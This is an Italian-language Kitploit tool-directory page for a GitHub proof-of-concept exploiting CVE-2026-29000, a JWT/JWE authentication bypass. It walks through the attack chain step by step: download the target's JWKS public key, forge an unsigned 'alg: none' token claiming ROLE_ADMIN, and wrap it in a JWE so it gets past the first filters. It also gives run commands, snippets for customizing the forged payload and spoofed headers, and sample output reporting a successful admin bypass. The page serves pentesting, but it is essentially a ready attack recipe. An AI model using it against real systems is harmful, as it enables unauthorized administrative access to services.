Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-29000 — PoC della CVE-2026-29000 | Kitploit
Strumenti/GitHubGitHub/zf-tm/cve-2026-29000
Autenticazione e AutorizzazioneStrumenti di Crittografia/DecrittografiaAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubzf-tm/cve-2026-29000

CVE-2026-29000

PoC della CVE-2026-29000

Vedi Repository
1144 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PoC di Bypass dell'Autenticazione JWT/JWE

Uno script Proof-of-Concept (PoC) che dimostra una vulnerabilità di bypass dell'autenticazione utilizzando JSON Web Token (JWT) e JSON Web Encryption (JWE). Questo strumento sfrutta ambienti che validano in modo improprio gli algoritmi dei token accettando JWT non verificati (alg: none) racchiusi all'interno di una struttura JWE valida.

Come Funziona

Questa catena di exploit sfrutta un difetto crittografico comune:

  1. Estrazione della Chiave: Lo script contatta l'endpoint jwks (JSON Web Key Set) pubblicamente esposto del target e scarica la chiave pubblica RSA del server.
  2. Falsificazione del Token: Crea un payload JWT falso e non verificato che concede privilegi ROLE_ADMIN. Imposta intenzionalmente l'header dell'algoritmo su "alg": "none".
  3. Avvolgimento JWE: Per bypassare i filtri di sicurezza iniziali che potrebbero rifiutare token in chiaro o non verificati, crittografa il JWT falso utilizzando la chiave pubblica del server, inserendolo in un JWE valido.
  4. Autenticazione: Il JWE falsificato viene inviato alla dashboard protetta del target tramite l'header Authorization: Bearer. Se il server decrittografa il JWE e si fida ciecamente del JWT interno senza verificarne la firma, l'accesso viene concesso.

Prerequisiti

Prima di eseguire lo script, assicurati di avere Python 3 installato insieme alle dipendenze necessarie.

pip install requests jwcrypto

Utilizzo

Lo script richiede due argomenti: l'URL della dashboard di destinazione che vuoi testare e l'URL in cui sono ospitate le chiavi pubbliche.

python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>

Personalizzare l'Exploit

A seconda del target, potresti dover modificare la struttura del token o le richieste HTTP per bypassare filtri specifici.

  1. Personalizzazione degli Header e del Payload del JWT Interno

Se il server di destinazione si aspetta campi specifici all'interno del JWT stesso (come un header typ, o ID utente personalizzati nel payload), puoi aggiungerli facilmente.

Apri exploit.py e individua questa sezione:

token_header_information = {
    "alg": "none"
}
token_user_information = {
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}

Puoi aggiungere qualsiasi campo desideri separato da virgole. Ad esempio, per aggiungere un typ (Type) e un kid (Key ID) all'header del JWT, e una email personalizzata al payload:

token_header_information = {
    "alg": "none",
    "typ": "JWT",
    "kid": "my-custom-key-id"
}
token_user_information = {
    "sub": "admin",
    "email": "[email protected]",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}
  1. Personalizzazione degli Header HTTP

Se il tuo target richiede header di rete specifici (come uno User-Agent personalizzato, header di bypass come X-Forwarded-For, o chiavi API), individua la richiesta di rete in fondo allo script:

custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token
}

Aggiungi i tuoi header di rete extra in questo modo:

custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token,
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "X-Forwarded-For": "127.0.0.1",
    "Accept": "application/json"
}

Nota: Se hai bisogno che questi header vengano inviati anche durante il download iniziale della chiave pubblica, puoi passare lo stesso dizionario alla chiamata requests.get() all'inizio dello script.

Output Atteso

In caso di successo, lo script restituirà il token falsificato e la risposta analizzata dall'endpoint ristretto, dimostrando il bypass:

Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!

Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...

Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard

SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN

Risoluzione dei Problemi

  • Errori HTTP 401/403: Il server di destinazione sta validando correttamente le firme e rifiutando il payload con alg: none. L'exploit è fallito perché il target è sicuro.

  • Errori di Connessione: Assicurati che gli URL forniti includano lo schema completo (http:// o https://) e che il server di destinazione sia attualmente raggiungibile.

  • Errori di Dipendenza: Assicurati che jwcrypto sia installato correttamente tramite pip.

Scarica lo strumento